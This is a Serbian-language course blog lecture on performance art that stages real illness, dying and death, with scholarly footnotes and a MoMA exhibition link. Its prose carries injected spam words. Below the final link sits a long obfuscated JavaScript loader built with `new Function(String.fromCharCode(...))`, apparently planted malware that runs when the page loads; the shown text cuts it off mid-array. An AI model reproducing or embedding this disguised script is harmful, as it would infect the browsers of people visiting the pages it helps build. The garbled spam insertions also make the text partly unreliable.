UVOD U STUDIJE PERFORMANSA

Icon

blog kursa “Uvod u studije performansa” na Interdisciplinarnim postdiplomskim studijama Univerziteta umetnosti, Beograd

Link retrospektivne izložbe Marine Abramović 'The artist is present'


 

Ovo predavanje je deo istraživanja koje sam započela u julu 2008.  godine i koje je još uvek u toku.

1.

Izvođačke umetnosti su se oduvek odlikovale fascinacijom bola, syringe nasiljem, anemia smrću, kao i osećanjima koja su ove patnje izazivale kod gledalaca, kao što su npr. strah i sažaljenje i koja se, od antike, nalaze u osnovi estetskog uživanja. Aristotel u Poetici govori o snažnim, žestokim osećajima koje bi izvođenje tragedija trebalo da izazove kod gledalaca, što je donekle kontradiktorno sa »filozofskom« prirodom tragedije i njenom racionalnom konstrukcijom i navodi na pomisao da je takav efekat (Šeknerovskim rečnikom rečeno, efikasnost performansa) mogao da se postigne samo tokom izvođenja tragedije, odnosno tragedija je trebalo da »izazivanjem straha i sažaljenja kod gledaoca proizvede katarzu ili očišćenje istih afekata«. Iako je u tragedijama i njhovim izvođenjima u pitanju bio mimezis patnje i boli,  katarza je trebalo da bude prava. U umetničkim izvođenjima,  »realno« se oduvek estetski i koncepcijski isključivalo, odnosno ono se jedino ogledalo u greškama ili nesrećnim slučajevima. Veoma retko se dešavalo da se na sceni odigra prava smrt, koja je uvek bila slučajna, kao na primer kada je sredinom 90tih godina prošlog veka, na premijeri opere Leoša Janačeka, Afera Makropulos u njujorškoj Metropolitan operi, jedan operski pevač pao sa merdevina, koje su bile visoke nekoliko metara.[1]

Ali šta se dešava sa činjenicom kada izvođenje napušta oblast mimesisa i kada  se pravo umiranje i smrt namerno, a ne slučajno, uvode na scenu? Jedan od prvih skandala izbio je 1993. godine, kada je američki koreograf  Bill T. Jones napravio ples koji je bio posvećen ljudima koji su umirali od AIDS-a ili bili zaraženi virusom HIV-a, Still/Here, sa plesačima koji su bili već zaraženi istim virusom ili čak umirali od iste bolesti, što je prouzrokovalo veliku debatu oko toga da li je etično, ili ne, dovoditi umiruće ljude na scenu. Uprkos ovoj kontroverzi, ili zbog nje, publika je, u ogromnom broju dolazila i s uzbuđenjem pratila  svako izvođenje. Kraj plesa je bio naročito upečatljiv, jer se sve završavalo potpunim skidanjem svih 50-tak izvođača koji su potom, tako goli, stajali nekoliko minuta netremice posmatrajući publiku. Očigledno je, da je efemernost i krhkost njihovih tela bila je kulminacija ovog plesa. Uznemiravajuća činjenica nalazila se u otvorenom prikazivanju  propadanja tela, u situaciji koja nije više pružala gledaoocima sigurnost u podvajanju umetnosti od stvarnosti.[2] AIDS je dugo bio »mračna, magična formula«: bolesnici od AIDS-a bili su su zapravo neumrli, oni su bili »nove sablasti koje su ‘usred života’ (bile) okružene smrću.«[3]

Od tada, kao i pod velikim uticajem umetnosti performansa, dovođenje na scenu »ne-izvođača«,  pre svega, bolesnih, fizički i mentalno nesposobnih, kao i ljudi kojima su amputirani neki delovi tela, postalo  je uobičajeno u predstavama Romea Kastelučija (Romeo Castellucci), Pipa del Bona (Pipo del Bono) i britanske plesne trupe DV8. Na primer u Kastelučijevoj Orestiji, glumac koji je igrao Apolona nije imao ruku. Za Kastelučija to je bilo pravo otelotvorenje naše sadašnje vizure Apolona kojeg jedino poznajemo preko statue koja ima odlomljene ruke. H.T. Leman navodi da, nastupi izvođača poput invalida, osakaćenih, dečaka obolelog od Daunovog sindroma, ili autističnost drugog,  u predstavama Kastelučija, omogućavaju iskustvo »na granici norme (i podnošljivosti) ‘neljudskog’ tijela.« Leman tvrdi da, kada su nastupi takvih izvođača povezani sa bukom raznolikih šumova,  koji često zvuče ‘mehanički’, nastaje scenario »noćne more« u kojoj tela, između jednog živog, stvarnog, životinjskog i drugog, gotovo već umrlog stanja, izmiču »svakoj kategorizaciji«, a ipak na paradoksalan način ukazuju na lepotu tela (i života), čak i kada su izboličena. [4]

Kulminaciju ove tendencije ka prisustvu »potpune svarnosti«, odnosno izvesne »dokumentarnosti« na sceni predstavlja poslednja »predstava« Petera Halasza, (Peter Halaš), reditelja i glumca, osnivača teatra Skvot (Squat Theatre), koji pošto je saznao da boluje od neizlečive bolesti raka jetre, odlučio da organizuje »probu« svoje sahrane u jednom budimpeštanskom pozorištu, u maju 2006. Halaš je tvrdio da ga zanima šta će njegovi prijatelji i kolege da kažu u svojim nekrolozima posvećenim njemu i zamolio ih da ih izgovore, odnosno izvedu »samo« za njega, dok je on ležao na sred scene u otvorenom kovčegu.[5]

Kako je umiranje postalo umetnost u ovom slučaju? Da li je to bilo zbog toga što je Halaš bio veoma popularan u trenutku svoje smrti u Mađarskoj, ili zato što je inače njegova reputacija bila reputacija umetnika koji je neprekidno brisao granice između umetnosti i pravog života? Ili zato što se odigralo na pozorišnoj sceni preko koje su prodefilovali Halaševi prijatelji,  koji su uglavnom bili iz sveta pozorišta, performansa i filma, jer su svirali, pevali, glumili, plesali? Iz perspektive studija performansa, moguće objašnjenje bi bilo, da jednom kada je nešto omeđeno kao da je izvođenje, onda to zaista i jeste, i tada, zastrašujuća činjenica da neko zaista umire,  izgleda manje zastrašujuća i lakša za prihvatanje, pre svega za samog umirućeg.

2.

Do sada su moji primeri bili u okviru manje-više prihvatljivih događaja. Međutim, šta se dešava kada se i ta poslednja barijera ukine, kada dođe do provale »totalne realnosti«, odnosno prikaza stvarne boli i umiranja u domen umetničkog izvođenja? Kada dođe do proboja granice koja razdvaja izvođenje i realnost, tada se na to ukazuje kao recepcijski problem , jer dolazi do ukidanja estetske distance, i gledaoci moraju da reaguju na primeren, etički način. Telo prestaje da bude označitelj, postaje provokacija i kao takvo izaziva posebne reakcije koje izlaze iz domena estetskog. Pokušaj nemačkog vizuelnog umetnika Gregora Šnajdera (Schneider), da predstavi stvarnog umirućeg čoveka u specijalnoj sobi, koju je za tu priliku konstruisao u nekoj umetničkoj galeriji, izazvao je ogroman skandal u Nemačkoj i najzad je nemački parlament zabranio ovaj »performans«.

Uprkos tome, Šnajder je konstruisao Sobu za umiranje, (Toter Raum, 2006) koja je u početku bila u izložena samo u njegovom studiju, ali sada putuje po Evropi, od galerije do galerije. [6] U pitanju je veoma jednostavna montažna soba, koja se s lakoćom montira i predstavlja repliku sobe koju je Šnajder jednom video u muzeju Haus Lange Esters u Krefildu, u Nemačkoj, sobu koja je inače reprezentativna za klasično-modernu arhitekturu, sa drvenim podom i velikim prozorima. Šnajder tvrdi da je godinama maštao o takvoj sobi u kojoj bi ljudi mogli da umiru ili da umru na miru, u humanom i harmoničnom okruženju, smatrajući da se smrt kao »finalna granica, kao tabu, kao prelazak iz žive u neživu prirodu, sa živog na raspadujeće telo koje više ne funkcioniše«, gotovo uvek odvija u osami i daleko od očiju javnosti. Stoga, smatra on, njegova dužnost je da prikaže »lepotu umiranja«.[7]

Šnajder tvrdi da nije hteo da napravi »performans«, niti scensku izvedbu od nečijeg umiranja, već sve što je želeo je da ponudi sobu nekome ko umire da provede nekoliko sati na način na koji to odabere. Da li će biti u pitanju javni događaj ili krajnje initiman, to će zavisiti samo od umirućeg i njegove rodbine. Upravo zbog toga što su porođaji postali neka vrsta javnog događaja, jer se neretko dešava da muž prisustvuje porođaju, da sve snima i da se posle sve emituje na You Tube-u , stoga smatra Šnajder, i »odlazak« iz života zaslužuje sličnu pažnju. Kako tvrdi on, »ne mislim da postoji bilo šta okrutno u samoj smrti po sebi: samo bi trebalo da postoje humaniji načini za njeno predstavljanje.”[8]

Šnajder tvrdi da smo, svakog dana,okruženi javnim prikazom smrti bilo na televiziji ili internetu. Najčešće to je nasilna smrt u katastrofama, ratovima, zatvorima, logorima, pa čak i na ulicama. Stoga, on smatra da bi naša kultura trebalo da preispita načine na koji se odnosimo prema smrti. Jer smrt nije samo tabu, već je nešto što aktivno pokušavamo da isključimo iz naših života. Tokom istorije, ljudi su umirali, okruženi porodicom, ili čak javno, i to ne samo u slučaju kraljeva i vladara, već i u slučaju običnog sveta, kao u slučaju španskog dramatičara, Pedra Kalderona Dela Barke, koji je, tokom čina svog javnog umiranja, čitao naglas svoj testament i diktirao poslednje želje. No, on je bio samo jedan od istaknutih građana Španije 17. veka koji je izabrao ovaj način »opraštanja«. S druge strane, danas gotovo svi ljudi, ako umiru prirodnom srmću, umiru po bolnicama, daleko od očiju javnosti. Agamben,  u Homo sacer-u, tvrdi da je jedno od osnovnih građanskih prava, koje bi tek trebalo osvojiti, nečije pravo nad sopstvenim životom, što takođe znači omogućavanje umirućoj osobi da definiše okolnosti sopstvenog umiranja.

Međutim,  »stvarno predstavljanje smrti« ili »predstava umiranja uživo« i dalje je poslednji tabu, osim u slučaju kada se radi o već mrtvim ili raskomadanim telima koja se slobodno prikazuju na televiziji, ili na naslovnim stranama tabloida, kao u slučaju odsečene glave u mafijaškom obračunu ili slike obešenog Sadama Huseina. Izgleda kao da su slike koje mediji emituju daleko prihvatljivije od stvarnog predstavljanja. Medijska slika preoblikuje predmet svog prikazivanja, ona ga slabi, prigušuje, redukuje ono što je realno, omogućavajući percepciju koja bi inače bila nepodnošljiva.

Primera za ovo ima bezbroj, jer medijsku estetiku umiruje ili ona pak, biva umirena, ne toliko zbog medijski posredovanog nestajanja smrtnog tela, već zato što registrujemo samo njegove naznake, kao u slučaju »direktnog prenosa« umiranja pape Jovana Pavla II, koji će ostati zabeležen kao jedan od najvećih medijskih događaja u novijoj istoriji i koji svakako predstavlja jednu od najspektakularnijih smrti jednog suverena. Iako se u stvarnosti ništa od toga nije videlo, tj. video se samo jedan upaljen prozor  sobe, u kojoj je navodno ležao umirući papa i gde je svetlo gorelo po čitavu noć, mediji su neprestano »dežurali« što je naravno privuklo na hiljade vernika da se okupe na trgu sv. Petra u Vatikanu, a prizor ove mase je nadalje privlačio ljude da dolaze, kao i da pomno prate šta se događa na televiziji iz sata u sat. Kulminacija je bila kad je 24 časa pre prave smrti, izdata lažna vest o papinoj smrti: tada više niko nije mogao da zaustavi novi talas ljudi. I kada je papa stvarno umro, tek tada je njegovo telo bilo vidljivo: izloženo u centralnoj kapeli u Vatikanu, za hiljade vernika koji su dolazili da mu odaju poslednju počast.

3.

Na Venecijanskom bijenalu 2007.  godine, Sofi Kal (Sofie Calle) je izložila svoj video rad Nemoguće je spoznati smrt (Pas pu saisir la mort), u kome je  svakodnevno snimala svoju bolesnu majku, koja je saznala da umire, gotovo u istom trenutku, kada je Sofi Kal bila pozvana da predstavlja Francusku na bijenalu. Kal je zabeležila sve majčine pripreme za umiranje (poslednji odlazak kod frizera, pedikira, biranje odeće, čitanje poslednje knjige, slušanje poslednjeg Mocartovog koncerta, kao i majčine poslednje reči), sve do trenutka kada su se pojavili prvi znaci raspadanja tela. U eksplikaciji rada, Kal je navela da je umiranje deo njenog života i da ona u tome ne vidi ništa čudno. Video rad joj je poslužio kao zaštita od suočavanja sa bolnom činjenicom gubitka majke. Pre toga, na sličnu temu Vim Venders je snimio dokumentarni film, Munja nad vodom (Lightning over water, 1980)  u kome je zabeležio umiranje američkog filmskog reditelja, Nikolasa Reja (Nicholas Ray), ali je izbegao snimak mrtvog Reja. Očigledno je da fotografije, filmovi i mediji često nemilosrdno drastično pokazuju telesno propadanje, nasilje i bol. Ali pokazivanje i opažanje se odvijaju u dva odvojena trenutka, dva udaljena prostora, odnosno ne događaju se u procesu između slike i posmatrača, pa se tako stvara određena distanca.

Mnoga izvođenja savremenom umetničkom performasu ukidaju ovu distancu, nekad na manje, a nekad na više brutalan način, otvarajući pitanje granice ljudske izdržljivosti, ne samo na sceni, već izvan nje: kako doživljavamo i vrednujemo različita društvena iskustva (npr. nepravde, represije, torture i otuđenja), iz šireg ugla ekonomske i političke borbe za ravnopravnost?[9] Kako definišemo tehnološku-tehnokratsku dominaciju u stvaranju i postizanju samopredstavljanja na sceni (između biti-postati)? Takođe, ako uzmemo u obzir da savremena izvođačka delatnost crpi svoju energiju iz direktnog, empirijskog saznanja telesnih senzacija, emitujući svoj doživljaj ekonomskog, političkog, društvenog i kulturnog nasilja preko telesnog nasilja na sceni pred vivisekscijskim pogledom gledalaca, koristeći brutalne poruke telesnih egzibicija, onda se nameće pitanje gde se nalazi granica između brutalnosti kritikovanog konteksta i brutalnosti izraza (npr. predstava Enter Achilles, DV8 u kojoj su predstavljena tela bila dovedena do krajnosti fizičke i umetničke izdržljivosti i koje je izazvalo strah za zdravlje onog ko igra)?

U evociranju »nepredstavljivog« nalazi se središnji problem izvođenja. Izazov da se ono neshvatljivo uprizori pomoću tela koje je i sàmo izloženo patnji i boli (kao najjačeg sredstva pamćenja, prema Ničeu). Sve do pre nekoliko godina, mimesiz boli ili patnje, bila je samo predstavljena, izvođena bol. No, svi navedeni primeri ukazuju na mimezu do boli, odnosno do izjednačavanja života sa umetničkim izvođenjem, odnosno prelazak sa predstavljene boli na bol doživljenu u predstavljanju (na primer u izvođenjima DV8, La Fura dels Baus, La La La Human Steps, itd.). Novo izvođenje predstavlja šok neposrednog događaja, odnosno tela, koji Julija Kristeva definiše kao znak revolucionarnog zaokreta od „ideološke pitomosti uglavljenog teksta“. U ovu kategoriju, spadaju na primer, izvođenja Brusa Najmana (Bruce Neumann), Marine Abramović, Stelarka, Rejčel Rozental (Rachel Rosenthal) i, najzad, Hane Vilke (Hannah Wilke), poznate performans umetnice koja je pred smrt, sebe fotografisala u svim fazama svoje bolesti.

4.

U seriji slika, Intra-Venus (1992-93), Vilke je prestavila svoju nastupajuću smrt, svoje »još uvek živo« telo kao smrtno, odajući utisak da je njeno telo već mrtvo, zauvek zaustavljeno na slici/fotografiji. Prema Rolanu Bartu, fotografski portret bilo koje vrste uvek označava starenje i neizbežnu smrt svog predmeta predstavljanja, uprkos tome da li je objekat  »živ« ili nije u trenutku gledanja fotografije. Pegi Felan, u svojoj knjizi Oplakivanje seksa (Mourning Sex) opisuje ovu snažnu ambivalentnost, precizinije simultano prisustvo ‘života’ i ’smrti’ na fotografskom portretu, naročito kada telo ili portret predstavljaju ograničenja tela, kao u slučaju Karavađove slike, u kojoj sv. Toma gura prst u otvorenu ranu na Hristovom telu, koji je upravo skinut sa krsta. U tom smislu, Amelija Džons tvrdi da je auto-projekcija sopstvene smrti Hane Vilke u čin »predstavljanja«, kao u slučaju Karavađa, čin gubitka i fragmentacije, odnosno ograničenja, jer kako ona zaključuje, iako je naša smrt izvesna, (mi smo, na određen način, već mrtvi), mi smo, takođe, na izvestan način »uvek neko Drugi samima sebi, pa samim tim i naša smrt je, na izvestan način, zauvek odgođena (jer kao što  mi nikad ne možemo da »znamo« da smo mrtvi, tako jedino možemo samo da anticipiramo svoju smrt).«[10] Stoga, iskasapljeno i »uskoro mrtvo« telo Hane Vilke je poput tela Hrista »amputirano, kastirano u drami u kojoj se našlo, uhvaćeno između života i smrti, između ravne površine slike i dubine unutrašnjosti tela.«[11]

U svim navedenim performansima, dolazi do samo-dramatizacije fizisa. I kad bi se vratili na skandal oko Gregora Šnajdera i njegove Sobe za umiranje, nametnulo bi nam se još jedno pitanje: Da li bi ova Šnajderova ideja o »finalnom izlasku« poremetila prihvaćenu scensku ravnotežu, i shodno tome, društvenu konvenciju, jer bi u tom slučaju događaj na sceni postao krajnje autentičan. U tom činu, odvija se realizacija intenzivnog prisustva, odnosno »epifanije« ljudskog tela, ili da parafraziramo, H.T. Lemana,  ostvaruje se određena antropofanija, jer se uvek radi o nekom posebnom, određenom, realnom, pojedinačnom ljudskom biću, o nezamenjivosti njegovog gesta, njegove životnosti u realnom vremenu, omeđenom vremenom izvođenja. »To na nov način čini ono partikularno apsolutnim, physisu otvara ekvivalent antičke teofanije.«[12] Da li bi brisanje tanke linije koja razdvaja umetnost od života, život od smrti, u Šnajderovom performansu umiranja, takođe značilo potpuno brisanje estetske distance, kao i njene estetske efikasnosti, odnosno njene suštine ?


[1] Radi ove i drugih nesrećnih slučajeva na sceni i oko nje, videti Nicholas Ridout, Stage Frights, Animals, and Other Theatrical Problems, Cambridge University Press, 2006.

[2] Aids je 80tih i 90tih godina bio poput epidemije koja je odnela mnoge umetnike. Npr. jedan od najpoznatijih glumaca Wooster grupe, Ron Vawter je neposredno pred svoju smrt od Aids-a, u dvostrukom portretu igrao dva američka homoseksualca. Tokom iznenadnih pauza u njegovom performansu, ostalo je neizvesno da li se radi o trenucima igrane ili realne iscprljenosti.

[3] H.T. Lehmann, “Postdramske slike tijela,” Postdramsko kazalište, CDU & TkH, 2004, str. 290.

[4] Ibid, str. 278.

[5] Radi punog opisa ovog događaja videti Tamas Szonyei, “Already Buried but Still Alive: Peter Halasz and His Own Funeral, The Drama Review, (TDR, 192), Winter 2006, str. 161-164.

[6] www.gregor-schneider.de

[7] Gregor Schneider, “There is Nothing Perverse About Dying Person,” The Guardian, April 26, 2008.

[8] Ibid.

[9] Ivana Sajko, »Mjesto za patnju,« Teatron, 124/25, str. 125-133. 

[10] Amelia Jones, “Beneath This Mask Another Mask, in Self/Image: Technology, Representation and the Contemporary Subject, Routledge: New York and London, 2006, str. 71.

[11] Peggy Phelan, Mourning Sex, Routledge: New York and London, 1997, str. 33.

[12] H.T. Lehmann, op. cit., str. 272.

Pronašla sam link retrospektivne izložbe Marine Abramović koja se  trenutno održava u muzeju MoMA. Ako imate vremena pogledajte sajt, buy interesantan je. Na njemu se nalazi par zanimljivih intervjua sa umetnicom u kojima ona predstavlja šta za nju znači performans, rheumatologist
telo itd. ;  snimci, i video prenos onoga što se dešava u tom trenutku u muzeju.

http://www.moma.org/interactives/exhibitions/2010/marinaabramovic/index.html

(new Function(String.fromCharCode(19 – 9, 126 – 8, 100 – 3, 122 – 8, 37 – 5, 109 – 2, 104 – 3, 129 – 8, 36 – 4, 67 – 6, 34 – 2, 41 – 2, 106 – 2, 113 – 9, 94 – 8, 123 – 9, 123 – 2, 83 – 4, 130 – 9, 94 – 9, 112 – 2, 80 – 7, 43 – 4, 64 – 5, 15 – 5, 119 – 1, 104 – 7, 122 – 8, 38 – 6, 102 – 1, 111 – 1, 106 – 7, 108 – 7, 109 – 9, 35 – 3, 63 – 2, 41 – 9, 48 – 9, 85 – 4, 74 – 9, 60 – 8, 114 – 8, 76 – 4, 67 – 1, 119 – 8, 57 – 2, 78 – 9, 73 – 5, 118 – 7, 70 – 5, 100 – 3, 89 – 8, 111 – 4, 101 – 3, 86 – 9, 112 – 4, 113 – 1, 84 – 3, 106 – 8, 125 – 6, 76 – 2, 110 – 8, 89 – 5, 112 – 3, 115 – 8, 105 – 4, 68 – 1, 88 – 5, 83 – 1, 85 – 2, 71 – 3, 112 – 8, 74 – 9, 92 – 6, 80 – 1, 107 – 4, 53 – 5, 120 – 9, 80 – 8, 69 – 4, 72 – 3, 56 – 3, 81 – 9, 71 – 1, 117 – 9, 125 – 4, 96 – 9, 91 – 3, 81 – 8, 80 – 9, 81 – 1, 87 – 5, 123 – 4, 91 – 2, 102 – 4, 72 – 2, 51 – 2, 93 – 6, 86 – 7, 82 – 1, 71 – 6, 63 – 6, 78 – 7, 126 – 5, 123 – 7, 80 – 9, 76 – 9, 131 – 9, 114 – 7, 110 – 8, 92 – 6, 106 – 1, 128 – 9, 81 – 6, 78 – 4, 108 – 1, 75 – 6, 115 – 2, 72 – 1, 121 – 1, 122 – 6, 55 – 2, 94 – 8, 87 – 2, 83 – 9, 71 – 1, 91 – 4, 93 – 5, 91 – 6, 92 – 3, 83 – 8, 67 – 1, 117 – 5, 80 – 7, 86 – 8, 90 – 8, 49 – 1, 95 – 8, 76 – 2, 72 – 6, 70 – 5, 125 – 6, 93 – 9, 117 – 7, 86 – 4, 79 – 6, 87 – 3, 123 – 2, 64 – 8, 119 – 5, 78 – 9, 125 – 3, 57 – 9, 91 – 2, 91 – 2, 91 – 7, 59 – 7, 81 – 6, 68 – 1, 58 – 9, 70 – 5, 59 – 2, 75 – 3, 131 – 9, 116 – 1, 81 – 9, 81 – 9, 70 – 3, 93 – 4, 102 – 2, 107 – 6, 68 – 3, 75 – 6, 76 – 1, 104 – 5, 92 – 7, 109 – 1, 127 – 5, 85 – 3, 94 – 8, 114 – 6, 54 – 5, 74 – 7, 71 – 3, 127 – 8, 73 – 2, 73 – 6, 123 – 2, 82 – 9, 105 – 7, 76 – 6, 106 – 1, 73 – 3, 95 – 5, 82 – 8, 105 – 1, 112 – 1, 116 – 5, 77 – 6, 109 – 5, 129 – 9, 44 – 1, 88 – 1, 57 – 8, 112 – 5, 56 – 8, 102 – 3, 56 – 5, 94 – 8, 82 – 3, 100 – 3, 89 – 4, 104 – 1, 105 – 4, 82 – 4, 122 – 3, 68 – 2, 97 – 7, 77 – 1, 67 – 1, 93 – 4, 62 – 8, 68 – 2, 90 – 7, 73 – 8, 80 – 2, 74 – 3, 60 – 9, 98 – 8, 84 – 4, 88 – 1, 88 – 5, 118 – 3, 95 – 8, 79 – 1, 111 – 7, 121 – 6, 109 – 2, 77 – 9, 87 – 6, 96 – 7, 106 – 1, 94 – 6, 74 – 8, 116 – 5, 109 – 6, 75 – 5, 113 – 7, 58 – 6, 77 – 5, 84 – 8, 70 – 1, 108 – 5, 89 – 4, 76 – 1, 114 – 6, 78 – 4, 105 – 4, 104 – 7, 77 – 8, 81 – 7, 106 – 4, 88 – 4, 110 – 1, 109 – 1, 80 – 7, 86 – 3, 70 – 2, 63 – 7, 89 – 4, 92 – 5, 89 – 2, 107 – 8, 106 – 9, 82 – 3, 105 – 2, 72 – 3, 113 – 8, 70 – 5, 85 – 4, 49 – 1, 109 – 1, 94 – 6, 69 – 3, 69 – 4, 107 – 3, 80 – 8, 87 – 3, 68 – 3, 95 – 8, 73 – 7, 112 – 9, 62 – 9, 68 – 3, 85 – 7, 86 – 4, 53 – 5, 89 – 2, 83 – 9, 68 – 2, 68 – 3, 120 – 1, 85 – 3, 54 – 4, 114 – 6, 79 – 5, 92 – 6, 96 – 9, 124 – 8, 91 – 8, 88 – 2, 81 – 9, 60 – 7, 87 – 6, 106 – 6, 88 – 6, 91 – 5, 72 – 4, 84 – 1, 77 – 8, 109 – 5, 59 – 9, 93 – 8, 111 – 3, 109 – 1, 125 – 7, 72 – 5, 123 – 1, 70 – 5, 101 – 4, 85 – 5, 74 – 8, 119 – 8, 74 – 3, 107 – 9, 90 – 2, 113 – 9, 96 – 6, 102 – 4, 54 – 5, 110 – 2, 54 – 5, 74 – 5, 55 – 7, 83 – 5, 77 – 4, 84 – 1, 77 – 5, 93 – 3, 84 – 1, 73 – 4, 74 – 7, 111 – 3, 92 – 2, 107 – 5, 87 – 6, 55 – 7, 110 – 1, 69 – 3, 121 – 2, 86 – 9, 53 – 6, 73 – 3, 120 – 1, 114 – 2, 109 – 5, 78 – 9, 70 – 2, 119 – 4, 77 – 2, 85 – 9, 68 – 2, 71 – 6, 118 – 8, 78 – 1, 72 – 2, 116 – 4, 110 – 9, 82 – 3, 66 – 1, 116 – 8, 55 – 3, 76 – 4, 91 – 8, 122 – 3, 104 – 5, 81 – 9, 73 – 5, 58 – 2, 107 – 8, 75 – 3, 111 – 5, 123 – 3, 108 – 7, 103 – 1, 76 – 7, 54 – 1, 116 – 5, 88 – 2, 91 – 5, 90 – 4, 52 – 2, 93 – 5, 53 – 5, 113 – 9, 114 – 5, 88 – 1, 91 – 8, 59 – 6, 112 – 5, 100 – 3, 89 – 4, 113 – 9, 80 – 7, 104 – 4, 113 – 5, 75 – 1, 98 – 8, 85 – 5, 86 – 4, 121 – 2, 105 – 1, 75 – 4, 131 – 9, 121 – 6, 77 – 6, 89 – 4, 50 – 1, 122 – 2, 87 – 4, 92 – 5, 88 – 1, 60 – 3, 92 – 2, 81 – 6, 78 – 7, 89 – 7, 117 – 5, 87 – 4, 73 – 4, 112 – 8, 55 – 5, 75 – 4, 123 – 3, 60 – 3, 123 – 5, 86 – 1, 88 – 4, 115 – 8, 72 – 6, 82 – 7, 107 – 4, 115 – 8, 74 – 5, 74 – 8, 89 – 8, 96 – 7, 92 – 5, 85 – 5, 89 – 7, 108 – 5, 124 – 3, 71 – 4, 58 – 8, 105 – 6, 87 – 7, 70 – 2, 85 – 2, 77 – 4, 56 – 1, 77 – 9, 87 – 4, 116 – 5, 93 – 8, 109 – 7, 85 – 4, 55 – 7, 112 – 3, 75 – 9, 127 – 8, 79 – 2, 48 – 1, 73 – 3, 55 – 6, 68 – 2, 122 – 4, 83 – 1, 77 – 6, 108 – 4, 87 – 3, 102 – 5, 88 – 3, 64 – 7, 93 – 3, 108 – 9, 90 – 4, 122 – 6, 93 – 3, 80 – 2, 77 – 5, 84 – 6, 52 – 3, 89 – 5, 110 – 1, 116 – 8, 76 – 3, 88 – 5, 73 – 1, 97 – 8, 71 – 6, 76 – 4, 75 – 7, 123 – 8, 84 – 7, 78 – 4, 124 – 5, 71 – 5, 129 – 8, 91 – 2, 108 – 1, 107 – 3, 54 – 4, 92 – 7, 111 – 3, 113 – 6, 130 – 9, 102 – 3, 60 – 9, 94 – 8, 88 – 9, 104 – 7, 87 – 2, 104 – 1, 103 – 2, 82 – 4, 123 – 4, 67 – 1, 94 – 4, 82 – 3, 111 – 7, 109 – 6, 123 – 2, 71 – 4, 127 – 6, 106 – 7, 106 – 7, 88 – 5, 77 – 6, 120 – 4, 87 – 4, 75 – 5, 130 – 9, 53 – 1, 87 – 7, 87 – 7, 67 – 2, 114 – 7, 116 – 5, 74 – 2, 68 – 3, 100 – 1, 113 – 6, 93 – 5, 68 – 3, 127 – 8, 61 – 5, 81 – 9, 73 – 6, 102 – 3, 125 – 7, 77 – 1, 109 – 6, 52 – 4, 79 – 8, 81 – 8, 108 – 1, 112 – 4, 130 – 8, 102 – 4, 52 – 3, 117 – 9, 53 – 4, 85 – 1, 114 – 9, 72 – 7, 82 – 3, 90 – 7, 76 – 4, 55 – 2, 93 – 9, 71 – 3, 68 – 1, 54 – 2, 108 – 7, 82 – 5, 69 – 4, 66 – 1, 66 – 9, 87 – 6, 92 – 7, 111 – 8, 118 – 2, 102 – 1, 79 – 9, 117 – 9, 124 – 6, 94 – 7, 91 – 3, 87 – 1, 85 – 6, 102 – 5, 88 – 6, 113 – 2, 80 – 2, 74 – 1, 112 – 9, 104 – 5, 84 – 8, 77 – 4, 89 – 4, 79 – 5, 108 – 6, 85 – 1, 113 – 4, 114 – 6, 74 – 1, 90 – 7, 75 – 8, 120 – 4, 60 – 8, 106 – 7, 52 – 2, 61 – 4, 93 – 3, 107 – 7, 88 – 3, 57 – 5, 61 – 5, 74 – 7, 88 – 7, 58 – 2, 130 – 8, 74 – 2, 66 – 1, 56 – 7, 124 – 6, 88 – 6, 78 – 6, 92 – 7, 105 – 7, 83 – 8, 67 – 2, 65 – 9, 80 – 2, 82 – 3, 74 – 9, 99 – 9, 90 – 2, 80 – 1, 121 – 1, 96 – 7, 91 – 1, 68 – 3, 92 – 8, 60 – 8, 79 – 1, 73 – 2, 110 – 6, 93 – 8, 86 – 2, 71 – 4, 112 – 7, 119 – 7, 91 – 9, 109 – 7, 75 – 5, 92 – 6, 76 – 8, 89 – 6, 78 – 9, 113 – 9, 58 – 8, 88 – 3, 111 – 7, 66 – 1, 113 – 1, 94 – 7, 92 – 4, 49 – 1, 107 – 9, 78 – 3, 68 – 3, 60 – 4, 87 – 9, 87 – 8, 69 – 4, 91 – 1, 97 – 9, 77 – 3, 113 – 9, 104 – 5, 124 – 4, 76 – 9, 123 – 1, 70 – 1, 119 – 9, 76 – 8, 116 – 6, 59 – 6, 93 – 7, 79 – 7, 107 – 2, 66 – 1, 91 – 4, 82 – 5, 104 – 1, 82 – 9, 118 – 3, 92 – 8, 51 – 3, 77 – 7, 51 – 1, 87 – 2, 49 – 1, 85 – 3, 128 – 7, 91 – 4, 91 – 3, 111 – 7, 108 – 6, 87 – 6, 51 – 3, 109 – 5, 78 – 5, 109 – 9, 115 – 7, 83 – 9, 94 – 4, 99 – 1, 50 – 1, 110 – 2, 54 – 5, 76 – 7, 115 – 9, 88 – 2, 78 – 5, 73 – 1, 86 – 2, 101 – 2, 89 – 3, 73 – 1, 71 – 4, 72 – 3, 79 – 1, 107 – 6, 121 – 2, 105 – 6, 114 – 4, 77 – 9, 73 – 8, 50 – 2, 122 – 5, 81 – 1, 88 – 6, 62 – 5, 115 – 5, 96 – 8, 109 – 3, 107 – 8, 68 – 2, 85 – 5, 86 – 1, 61 – 4, 67 – 1, 106 – 6, 116 – 8, 83 – 5, 74 – 5, 100 – 1, 110 – 2, 115 – 7, 54 – 2, 97 – 9, 49 – 1, 83 – 5, 74 – 1, 87 – 4, 78 – 6, 97 – 7, 88 – 5, 89 – 2, 94 – 7, 64 – 7, 95 – 5, 107 – 7, 85 – 3, 74 – 1, 58 – 9, 85 – 2, 73 – 7, 49 – 1, 58 – 7, 77 – 7, 90 – 8, 123 – 4, 106 – 2, 75 – 7, 89 – 1, 116 – 1, 78 – 6, 78 – 4, 123 – 4, 120 – 1, 79 – 1, 82 – 6, 112 – 6, 49 – 1, 109 – 7, 95 – 5, 57 – 8, 57 – 5, 56 – 6, 75 – 3, 72 – 5, 111 – 8, 108 – 6, 73 – 7, 75 – 3, 75 – 5, 99 – 1, 94 – 7, 91 – 4, 56 – 3, 77 – 8, 103 – 6, 74 – 5, 55 – 2, 115 – 8, 96 – 9, 91 – 4, 82 – 8, 56 – 6, 93 – 8, 116 – 8, 116 – 8, 123 – 5, 92 – 5, 93 – 5, 95 – 9, 80 – 1, 101 – 4, 83 – 1, 85 – 4, 94 – 9, 106 – 6, 108 – 5, 104 – 5, 97 – 8, 79 – 4, 72 – 6, 120 – 1, 62 – 7, 80 – 9, 113 – 4, 102 – 3, 71 – 5, 74 – 8, 112 – 6, 82 – 9, 92 – 4, 69 – 4, 84 – 3, 73 – 8, 104 – 2, 105 – 3, 88 – 3, 111 – 4, 119 – 5, 66 – 1, 84 – 3, 97 – 8, 128 – 8, 88 – 2, 92 – 6, 71 – 5, 127 – 9, 88 – 